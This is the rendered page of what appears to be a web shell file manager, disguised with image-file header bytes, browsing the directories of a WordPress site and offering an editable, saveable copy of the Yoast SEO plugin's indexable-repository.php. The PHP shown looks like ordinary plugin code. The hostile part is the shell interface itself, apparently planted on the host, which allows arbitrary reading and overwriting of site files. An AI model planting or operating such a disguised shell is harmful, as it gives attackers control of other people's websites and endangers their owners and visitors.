�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Feci-projekt.management%2F'>eci-projekt.management</a>/<a href='?path=%2Fbig%2Fweb%2Feci-projekt.management%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Feci-projekt.management%2Fhtdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Feci-projekt.management%2Fhtdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2Fweb%2Feci-projekt.management%2Fhtdocs%2Fwp-content%2Fplugins%2Fwordpress-seo%2F'>wordpress-seo</a>/<a href='?path=%2Fbig%2Fweb%2Feci-projekt.management%2Fhtdocs%2Fwp-content%2Fplugins%2Fwordpress-seo%2Fsrc%2F'>src</a>/<a href='?path=%2Fbig%2Fweb%2Feci-projekt.management%2Fhtdocs%2Fwp-content%2Fplugins%2Fwordpress-seo%2Fsrc%2Frepositories%2F'>repositories</a>/</p><hr><h3>✏️ Editing: indexable-repository.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

namespace Yoast\WP\SEO\Repositories;

use Psr\Log\LoggerInterface;
use wpdb;
use Yoast\WP\Lib\Model;
use Yoast\WP\Lib\ORM;
use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Loggers\Logger;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Services\Indexables\Indexable_Version_Manager;

/**
 * Class Indexable_Repository.
 */
class Indexable_Repository {

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	private $builder;

	/**
	 * Represents the hierarchy repository.
	 *
	 * @var Indexable_Hierarchy_Repository
	 */
	protected $hierarchy_repository;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $current_page;

	/**
	 * The logger object.
	 *
	 * @var LoggerInterface
	 */
	protected $logger;

	/**
	 * The WordPress database.
	 *
	 * @var wpdb
	 */
	protected $wpdb;

	/**
	 * Represents the indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Checks if Indexables are up to date.
	 *
	 * @var Indexable_Version_Manager
	 */
	protected $version_manager;

	/**
	 * Returns the instance of this class constructed through the ORM Wrapper.
	 *
	 * @param Indexable_Builder              $builder              The indexable builder.
	 * @param Current_Page_Helper            $current_page         The current post helper.
	 * @param Logger                         $logger               The logger.
	 * @param Indexable_Hierarchy_Repository $hierarchy_repository The hierarchy repository.
	 * @param wpdb                           $wpdb                 The WordPress database instance.
	 * @param Indexable_Version_Manager      $version_manager      The indexable version manager.
	 */
	public function __construct(
		Indexable_Builder $builder,
		Current_Page_Helper $current_page,
		Logger $logger,
		Indexable_Hierarchy_Repository $hierarchy_repository,
		wpdb $wpdb,
		Indexable_Version_Manager $version_manager
	) {
		$this-&gt;builder              = $builder;
		$this-&gt;current_page         = $current_page;
		$this-&gt;logger               = $logger;
		$this-&gt;hierarchy_repository = $hierarchy_repository;
		$this-&gt;wpdb                 = $wpdb;
		$this-&gt;version_manager      = $version_manager;
	}

	/**
	 * Starts a query for this repository.
	 *
	 * @return ORM
	 */
	public function query() {
		return Model::of_type( &#039;Indexable&#039; );
	}

	/**
	 * Attempts to find the indexable for the current WordPress page. Returns false if no indexable could be found.
	 * This may be the result of the indexable not existing or of being unable to determine what type of page the
	 * current page is.
	 *
	 * @return bool|Indexable The indexable. If no indexable is found returns an empty indexable. Returns false if
	 *                        there is a database error.
	 */
	public function for_current_page() {
		$indexable = false;

		switch ( true ) {
			case $this-&gt;current_page-&gt;is_simple_page():
				$indexable = $this-&gt;find_by_id_and_type( $this-&gt;current_page-&gt;get_simple_page_id(), &#039;post&#039; );
				break;
			case $this-&gt;current_page-&gt;is_home_static_page():
				$indexable = $this-&gt;find_by_id_and_type( $this-&gt;current_page-&gt;get_front_page_id(), &#039;post&#039; );
				break;
			case $this-&gt;current_page-&gt;is_home_posts_page():
				$indexable = $this-&gt;find_for_home_page();
				break;
			case $this-&gt;current_page-&gt;is_term_archive():
				$indexable = $this-&gt;find_by_id_and_type( $this-&gt;current_page-&gt;get_term_id(), &#039;term&#039; );
				break;
			case $this-&gt;current_page-&gt;is_date_archive():
				$indexable = $this-&gt;find_for_date_archive();
				break;
			case $this-&gt;current_page-&gt;is_search_result():
				$indexable = $this-&gt;find_for_system_page( &#039;search-result&#039; );
				break;
			case $this-&gt;current_page-&gt;is_post_type_archive():
				$indexable = $this-&gt;find_for_post_type_archive( $this-&gt;current_page-&gt;get_queried_post_type() );
				break;
			case $this-&gt;current_page-&gt;is_author_archive():
				$indexable = $this-&gt;find_by_id_and_type( $this-&gt;current_page-&gt;get_author_id(), &#039;user&#039; );
				break;
			case $this-&gt;current_page-&gt;is_404():
				$indexable = $this-&gt;find_for_system_page( &#039;404&#039; );
				break;
		}

		if ( $indexable === false ) {
			return $this-&gt;query()-&gt;create(
				[
					&#039;object_type&#039; =&gt; &#039;unknown&#039;,
					&#039;post_status&#039; =&gt; &#039;unindexed&#039;,
					&#039;version&#039;     =&gt; 1,
				],
			);
		}

		return $indexable;
	}

	/**
	 * Retrieves an indexable by its permalink.
	 *
	 * @param string $permalink The indexable permalink.
	 *
	 * @return bool|Indexable The indexable, false if none could be found.
	 */
	public function find_by_permalink( $permalink ) {
		$permalink_hash = \strlen( $permalink ) . &#039;:&#039; . \md5( $permalink );

		// Find by both permalink_hash and permalink, permalink_hash is indexed so will be used first by the DB to optimize the query.
		return $this-&gt;query()
			-&gt;where( &#039;permalink_hash&#039;, $permalink_hash )
			-&gt;where( &#039;permalink&#039;, $permalink )
			-&gt;find_one();
	}

	/**
	 * Retrieves all the indexable instances of a certain object type.
	 *
	 * @param string $object_type The object type.
	 *
	 * @return Indexable[] The array with all the indexable instances of a certain object type.
	 */
	public function find_all_with_type( $object_type ) {
		/**
		 * The array with all the indexable instances of a certain object type.
		 *
		 * @var Indexable[] $indexables
		 */
		$indexables = $this
			-&gt;query()
			-&gt;where( &#039;object_type&#039;, $object_type )
			-&gt;find_many();

		return \array_map( [ $this, &#039;upgrade_indexable&#039; ], $indexables );
	}

	/**
	 * Retrieves all the indexable instances of a certain object subtype.
	 *
	 * @param string $object_type     The object type.
	 * @param string $object_sub_type The object subtype.
	 *
	 * @return Indexable[] The array with all the indexable instances of a certain object subtype.
	 */
	public function find_all_with_type_and_sub_type( $object_type, $object_sub_type ) {
		/**
		 * The array with all the indexable instances of a certain object type and subtype.
		 *
		 * @var Indexable[] $indexables
		 */
		$indexables = $this
			-&gt;query()
			-&gt;where( &#039;object_type&#039;, $object_type )
			-&gt;where( &#039;object_sub_type&#039;, $object_sub_type )
			-&gt;find_many();

		return \array_map( [ $this, &#039;upgrade_indexable&#039; ], $indexables );
	}

	/**
	 * Retrieves a paginated set of indexable instances of public indexables.
	 *
	 * @param int    $page      The page number (1-based).
	 * @param int    $page_size The number of items per page.
	 * @param string $post_type The post type indexables to find.
	 *
	 * @return Indexable[] The array with the paginated indexable instances which are public.
	 */
	public function find_all_public_paginated( int $page, int $page_size, string $post_type ): array {
		$offset = ( ( $page - 1 ) * $page_size );

		$query = $this-&gt;query()-&gt;where_raw( &#039;( is_public IS NULL OR is_public = 1 ) AND ( is_robots_noindex IS NULL OR is_robots_noindex = 0 )&#039; );
		$query-&gt;where( &#039;object_sub_type&#039;, $post_type );
		$query-&gt;where( &#039;post_status&#039;, &#039;publish&#039; );

		$indexables = $query-&gt;order_by_asc( &#039;id&#039; )-&gt;limit( $page_size )-&gt;offset( $offset )-&gt;find_many();

		return \array_map( [ $this, &#039;upgrade_indexable&#039; ], $indexables );
	}

	/**
	 * Retrieves the homepage indexable.
	 *
	 * @param bool $auto_create Optional. Create the indexable if it does not exist.
	 *
	 * @return bool|Indexable Instance of indexable.
	 */
	public function find_for_home_page( $auto_create = true ) {
		$indexable = \wp_cache_get( &#039;home-page&#039;, &#039;yoast-seo-indexables&#039; );
		if ( ! $indexable ) {
			/**
			 * Indexable instance.
			 *
			 * @var Indexable $indexable
			 */
			$indexable = $this-&gt;query()-&gt;where( &#039;object_type&#039;, &#039;home-page&#039; )-&gt;find_one();

			if ( $auto_create &amp;&amp; ! $indexable ) {
				$indexable = $this-&gt;builder-&gt;build_for_home_page();
			}

			$indexable = $this-&gt;upgrade_indexable( $indexable );

			\wp_cache_set( &#039;home-page&#039;, $indexable, &#039;yoast-seo-indexables&#039;, ( 5 * \MINUTE_IN_SECONDS ) );
		}

		return $indexable;
	}

	/**
	 * Retrieves the date archive indexable.
	 *
	 * @param bool $auto_create Optional. Create the indexable if it does not exist.
	 *
	 * @return bool|Indexable Instance of indexable.
	 */
	public function find_for_date_archive( $auto_create = true ) {
		/**
		 * Indexable instance.
		 *
		 * @var Indexable $indexable
		 */
		$indexable = $this-&gt;query()-&gt;where( &#039;object_type&#039;, &#039;date-archive&#039; )-&gt;find_one();

		if ( $auto_create &amp;&amp; ! $indexable ) {
			$indexable = $this-&gt;builder-&gt;build_for_date_archive();
		}

		return $this-&gt;upgrade_indexable( $indexable );
	}

	/**
	 * Retrieves an indexable for a post type archive.
	 *
	 * @param string $post_type   The post type.
	 * @param bool   $auto_create Optional. Create the indexable if it does not exist.
	 *
	 * @return bool|Indexable The indexable, false if none could be found.
	 */
	public function find_for_post_type_archive( $post_type, $auto_create = true ) {
		/**
		 * Indexable instance.
		 *
		 * @var Indexable $indexable
		 */
		$indexable = $this-&gt;query()
			-&gt;where( &#039;object_type&#039;, &#039;post-type-archive&#039; )
			-&gt;where( &#039;object_sub_type&#039;, $post_type )
			-&gt;find_one();

		if ( $auto_create &amp;&amp; ! $indexable ) {
			$indexable = $this-&gt;builder-&gt;build_for_post_type_archive( $post_type );
		}

		return $this-&gt;upgrade_indexable( $indexable );
	}

	/**
	 * Retrieves the indexable for a system page.
	 *
	 * @param string $object_sub_type The type of system page.
	 * @param bool   $auto_create     Optional. Create the indexable if it does not exist.
	 *
	 * @return bool|Indexable Instance of indexable.
	 */
	public function find_for_system_page( $object_sub_type, $auto_create = true ) {
		/**
		 * Indexable instance.
		 *
		 * @var Indexable $indexable
		 */
		$indexable = $this-&gt;query()
			-&gt;where( &#039;object_type&#039;, &#039;system-page&#039; )
			-&gt;where( &#039;object_sub_type&#039;, $object_sub_type )
			-&gt;find_one();

		if ( $auto_create &amp;&amp; ! $indexable ) {
			$indexable = $this-&gt;builder-&gt;build_for_system_page( $object_sub_type );
		}

		return $this-&gt;upgrade_indexable( $indexable );
	}

	/**
	 * Retrieves an indexable by its ID and type.
	 *
	 * @param int    $object_id   The indexable object ID.
	 * @param string $object_type The indexable object type.
	 * @param bool   $auto_create Optional. Create the indexable if it does not exist.
	 *
	 * @return bool|Indexable Instance of indexable.
	 */
	public function find_by_id_and_type( $object_id, $object_type, $auto_create = true ) {
		$indexable = $this-&gt;query()
			-&gt;where( &#039;object_id&#039;, $object_id )
			-&gt;where( &#039;object_type&#039;, $object_type )
			-&gt;find_one();

		if ( $auto_create &amp;&amp; ! $indexable ) {
			$indexable = $this-&gt;builder-&gt;build_for_id_and_type( $object_id, $object_type );
		}
		else {
			$indexable = $this-&gt;upgrade_indexable( $indexable );
		}

		return $indexable;
	}

	/**
	 * Retrieves multiple indexables at once by their id&#039;s and type.
	 *
	 * @param int[]  $object_ids  The array of indexable object id&#039;s.
	 * @param string $object_type The indexable object type.
	 * @param bool   $auto_create Optional. Create the indexable if it does not exist.
	 *
	 * @return Indexable[] An array of indexables.
	 */
	public function find_by_multiple_ids_and_type( $object_ids, $object_type, $auto_create = true ) {
		if ( empty( $object_ids ) ) {
			return [];
		}

		/**
		 * Represents an array of indexable objects.
		 *
		 * @var Indexable[] $indexables
		 */
		$indexables = $this-&gt;query()
			-&gt;where_in( &#039;object_id&#039;, $object_ids )
			-&gt;where( &#039;object_type&#039;, $object_type )
			-&gt;find_many();

		if ( $auto_create ) {
			$indexables_available = [];
			foreach ( $indexables as $indexable ) {
				$indexables_available[] = $indexable-&gt;object_id;
			}

			$indexables_to_create = \array_diff( $object_ids, $indexables_available );

			foreach ( $indexables_to_create as $indexable_to_create ) {
				$indexables[] = $this-&gt;builder-&gt;build_for_id_and_type( $indexable_to_create, $object_type );
			}
		}

		return \array_map( [ $this, &#039;upgrade_indexable&#039; ], $indexables );
	}

	/**
	 * Finds the indexables by id&#039;s.
	 *
	 * @param array $indexable_ids The indexable id&#039;s.
	 *
	 * @return Indexable[] The found indexables.
	 */
	public function find_by_ids( array $indexable_ids ) {
		if ( empty( $indexable_ids ) ) {
			return [];
		}

		$indexables = $this
			-&gt;query()
			-&gt;where_in( &#039;id&#039;, $indexable_ids )
			-&gt;find_many();

		return \array_map( [ $this, &#039;upgrade_indexable&#039; ], $indexables );
	}

	/**
	 * Returns all ancestors of a given indexable.
	 *
	 * @param Indexable $indexable The indexable to find the ancestors of.
	 *
	 * @return Indexable[] All ancestors of the given indexable.
	 */
	public function get_ancestors( Indexable $indexable ) {
		// If we&#039;ve already set ancestors on the indexable no need to get them again.
		if ( \is_array( $indexable-&gt;ancestors ) &amp;&amp; ! empty( $indexable-&gt;ancestors ) ) {
			return \array_map( [ $this, &#039;upgrade_indexable&#039; ], $indexable-&gt;ancestors );
		}

		$indexable_ids = $this-&gt;hierarchy_repository-&gt;find_ancestors( $indexable );

		// If we&#039;ve set ancestors on the indexable because we had to build them to find them.
		if ( \is_array( $indexable-&gt;ancestors ) &amp;&amp; ! empty( $indexable-&gt;ancestors ) ) {
			return \array_map( [ $this, &#039;upgrade_indexable&#039; ], $indexable-&gt;ancestors );
		}

		if ( empty( $indexable_ids ) ) {
			return [];
		}

		if ( $indexable_ids[0] === 0 &amp;&amp; \count( $indexable_ids ) === 1 ) {
			return [];
		}

		$indexables = $this-&gt;query()
			-&gt;where_in( &#039;id&#039;, $indexable_ids )
			-&gt;order_by_expr( &#039;FIELD(id,&#039; . \implode( &#039;,&#039;, $indexable_ids ) . &#039;)&#039; )
			-&gt;find_many();

		return \array_map( [ $this, &#039;upgrade_indexable&#039; ], $indexables );
	}

	/**
	 * Returns all subpages with a given post_parent.
	 *
	 * @param int   $post_parent The post parent.
	 * @param array $exclude_ids The id&#039;s to exclude.
	 *
	 * @return Indexable[] array of indexables.
	 */
	public function get_subpages_by_post_parent( $post_parent, $exclude_ids = [] ) {
		$query = $this-&gt;query()
			-&gt;where( &#039;post_parent&#039;, $post_parent )
			-&gt;where( &#039;object_type&#039;, &#039;post&#039; )
			-&gt;where( &#039;post_status&#039;, &#039;publish&#039; );

		if ( ! empty( $exclude_ids ) ) {
			$query-&gt;where_not_in( &#039;object_id&#039;, $exclude_ids );
		}
		return $query-&gt;find_many();
	}

	/**
	 * Returns most recently modified posts of a post type.
	 *
	 * @param string $post_type                   The post type.
	 * @param int    $limit                       The maximum number of posts to return.
	 * @param bool   $exclude_older_than_one_year Whether to exclude posts older than one year.
	 * @param string $search_filter               Optional. A search filter to apply to the breadcrumb title.
	 *
	 * @return Indexable[] array of indexables.
	 */
	public function get_recently_modified_posts( string $post_type, int $limit, bool $exclude_older_than_one_year, string $search_filter = &#039;&#039; ) {
		$query = $this-&gt;query()
			-&gt;where( &#039;object_type&#039;, &#039;post&#039; )
			-&gt;where( &#039;object_sub_type&#039;, $post_type )
			-&gt;where_raw( &#039;( is_public IS NULL OR is_public = 1 )&#039; )
			-&gt;order_by_desc( &#039;object_last_modified&#039; )
			-&gt;limit( $limit );

		if ( $exclude_older_than_one_year === true ) {
			$query-&gt;where_gte( &#039;object_published_at&#039;, \gmdate( &#039;Y-m-d H:i:s&#039;, \strtotime( &#039;-1 year&#039; ) ) );
		}

		if ( $search_filter !== &#039;&#039; ) {
			$query-&gt;where_like( &#039;breadcrumb_title&#039;, &#039;%&#039; . $search_filter . &#039;%&#039; );
		}

		$query-&gt;order_by_desc( &#039;object_last_modified&#039; )
			-&gt;limit( $limit );

		return $query-&gt;find_many();
	}

	/**
	 * Returns the most recently modified cornerstone content of a post type.
	 *
	 * @param string   $post_type The post type.
	 * @param int|null $limit     The maximum number of posts to return.
	 *
	 * @return Indexable[] array of indexables.
	 */
	public function get_recent_cornerstone_for_post_type( string $post_type, ?int $limit ) {
		$query = $this-&gt;query()
			-&gt;where( &#039;object_type&#039;, &#039;post&#039; )
			-&gt;where( &#039;object_sub_type&#039;, $post_type )
			-&gt;where_raw( &#039;( is_public IS NULL OR is_public = 1 )&#039; )
			-&gt;where( &#039;is_cornerstone&#039;, 1 )
			-&gt;order_by_desc( &#039;object_last_modified&#039; );

		if ( $limit !== null ) {
			$query-&gt;limit( $limit );
		}

		return $query-&gt;find_many();
	}

	/**
	 * Returns the most recently modified about page based on schema_page_type.
	 *
	 * @param string $post_type The post type.
	 *
	 * @return Indexable|false The about page if its there.
	 */
	public function get_most_recent_about_page( $post_type ) {
		$query = $this-&gt;query()
			-&gt;where( &#039;object_type&#039;, &#039;post&#039; )
			-&gt;where( &#039;object_sub_type&#039;, $post_type )
			-&gt;where( &#039;schema_page_type&#039;, &#039;AboutPage&#039; )
			-&gt;where_raw( &#039;( is_public IS NULL OR is_public = 1 )&#039; )
			-&gt;order_by_desc( &#039;object_last_modified&#039; );

		return $query-&gt;find_one();
	}

	/**
	 * Returns the most recently modified posts with keywords of a post type.
	 *
	 * @param string      $post_type  The post type.
	 * @param int|null    $limit      The maximum number of posts to return.
	 * @param string|null $date_limit Only include content modified after this date.
	 *
	 * @return array&lt;array&lt;string, string&gt;&gt;|false The array of indexable columns. False if the query failed.
	 */
	public function get_recent_posts_with_keywords_for_post_type( string $post_type, ?int $limit = null, ?string $date_limit = null ) {
		$query = $this-&gt;query()
			-&gt;select( &#039;object_id&#039; )
			-&gt;select( &#039;primary_focus_keyword_score&#039; )
			-&gt;select( &#039;breadcrumb_title&#039; )
			-&gt;where( &#039;object_type&#039;, &#039;post&#039; )
			-&gt;where( &#039;object_sub_type&#039;, $post_type )
			-&gt;where_not_equal( &#039;primary_focus_keyword_score&#039;, 0 )
			-&gt;where_not_null( &#039;primary_focus_keyword_score&#039; )
			-&gt;where_raw( &quot;( post_status = &#039;publish&#039; OR post_status IS NULL )&quot; )
			-&gt;where_raw( &#039;( is_robots_noindex IS NULL OR is_robots_noindex &lt;&gt; 1 )&#039; )
			-&gt;order_by_desc( &#039;object_last_modified&#039; );

		if ( $limit !== null ) {
			$query-&gt;limit( $limit );
		}

		if ( $date_limit !== null ) {
			$query-&gt;where_gte( &#039;object_last_modified&#039;, $date_limit );
		}

		return $query-&gt;find_array();
	}

	/**
	 * Returns the most recently modified posts with readability scores of a post type.
	 *
	 * @param string      $post_type  The post type.
	 * @param int|null    $limit      The maximum number of posts to return.
	 * @param string|null $date_limit Only include content modified after this date.
	 *
	 * @return array&lt;array&lt;string, string|null&gt;&gt;|false The array of indexable columns. False if the query failed.
	 */
	public function get_recent_posts_with_readability_scores_for_post_type( string $post_type, ?int $limit = null, ?string $date_limit = null ) {
		$query = $this-&gt;query()
			-&gt;select( &#039;object_id&#039; )
			-&gt;select( &#039;readability_score&#039; )
			-&gt;select( &#039;breadcrumb_title&#039; )
			-&gt;where( &#039;object_type&#039;, &#039;post&#039; )
			-&gt;where( &#039;object_sub_type&#039;, $post_type )
			-&gt;where_not_null( &#039;estimated_reading_time_minutes&#039; )
			-&gt;where_raw( &quot;( post_status = &#039;publish&#039; OR post_status IS NULL )&quot; )
			-&gt;order_by_desc( &#039;object_last_modified&#039; );

		if ( $limit !== null ) {
			$query-&gt;limit( $limit );
		}

		if ( $date_limit !== null ) {
			$query-&gt;where_gte( &#039;object_last_modified&#039;, $date_limit );
		}

		return $query-&gt;find_array();
	}

	/**
	 * Returns the most recently modified posts for a post type.
	 *
	 * @param string      $post_type  The post type.
	 * @param int|null    $limit      The maximum number of posts to return.
	 * @param string|null $date_limit Only include content modified after this date.
	 *
	 * @return array&lt;array&lt;string, string|null&gt;&gt;|false The array of indexable columns. False if the query failed.
	 */
	public function get_recent_posts_for_post_type( string $post_type, ?int $limit = null, ?string $date_limit = null ) {
		$query = $this-&gt;query()
			-&gt;select( &#039;object_id&#039; )
			-&gt;select( &#039;breadcrumb_title&#039; )
			-&gt;select( &#039;description&#039; )
			-&gt;where( &#039;object_type&#039;, &#039;post&#039; )
			-&gt;where( &#039;object_sub_type&#039;, $post_type )
			-&gt;where_raw( &quot;( post_status = &#039;publish&#039; OR post_status IS NULL )&quot; )
			-&gt;where_raw( &#039;( is_robots_noindex IS NULL OR is_robots_noindex &lt;&gt; 1 )&#039; )
			-&gt;order_by_desc( &#039;object_last_modified&#039; );

		if ( $limit !== null ) {
			$query-&gt;limit( $limit );
		}

		if ( $date_limit !== null ) {
			$query-&gt;where_gte( &#039;object_last_modified&#039;, $date_limit );
		}

		return $query-&gt;find_array();
	}

	/**
	 * Updates the incoming link count for an indexable without first fetching it.
	 *
	 * @param int $indexable_id The indexable id.
	 * @param int $count        The incoming link count.
	 *
	 * @return bool Whether or not the update was succeful.
	 */
	public function update_incoming_link_count( $indexable_id, $count ) {
		return (bool) $this-&gt;query()
			-&gt;set( &#039;incoming_link_count&#039;, $count )
			-&gt;where( &#039;id&#039;, $indexable_id )
			-&gt;update_many();
	}

	/**
	 * Ensures that the given indexable has a permalink.
	 *
	 * Will be deprecated in 17.3 - Use upgrade_indexable instead.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return bool|Indexable The indexable.
	 */
	public function ensure_permalink( $indexable ) {
		// @phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- self::class is safe.
		// @phpcs:ignore Squiz.PHP.CommentedOutCode.Found
		// _deprecated_function( __METHOD__, &#039;Yoast SEO 17.3&#039;, self::class . &#039;::upgrade_indexable&#039; );

		return $this-&gt;upgrade_indexable( $indexable );
	}

	/**
	 * Checks if an Indexable is outdated, and rebuilds it when necessary.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return Indexable The indexable.
	 */
	public function upgrade_indexable( $indexable ) {
		if ( $this-&gt;version_manager-&gt;indexable_needs_upgrade( $indexable ) ) {
			$indexable = $this-&gt;builder-&gt;build( $indexable );
		}
		return $indexable;
	}

	/**
	 * Resets the permalinks of the passed object type and subtype.
	 *
	 * @param string|null $type      The type of the indexable. Can be null.
	 * @param string|null $subtype   The subtype. Can be null.
	 * @param int|null    $object_id The object ID. Can be null.
	 *
	 * @return int|bool The number of permalinks changed if the query was succesful. False otherwise.
	 */
	public function reset_permalink( $type = null, $subtype = null, $object_id = null ) {
		$query = $this-&gt;query()-&gt;set(
			[
				&#039;permalink&#039;      =&gt; null,
				&#039;permalink_hash&#039; =&gt; null,
				&#039;version&#039;        =&gt; 0,
			],
		);

		if ( $type !== null ) {
			$query-&gt;where( &#039;object_type&#039;, $type );
		}

		if ( $type !== null &amp;&amp; $subtype !== null ) {
			$query-&gt;where( &#039;object_sub_type&#039;, $subtype );
		}

		if ( $object_id !== null ) {
			$query-&gt;where( &#039;object_id&#039;, $object_id );
		}

		return $query-&gt;update_many();
	}

	/**
	 * Gets the total number of stored indexables.
	 *
	 * @return int The total number of stored indexables.
	 */
	public function get_total_number_of_indexables() {
		return $this-&gt;query()-&gt;count();
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Feci-projekt.management%2Fhtdocs%2Fwp-content%2Fplugins%2Fwordpress-seo%2Fsrc%2Frepositories'>🔙 Back</a></p>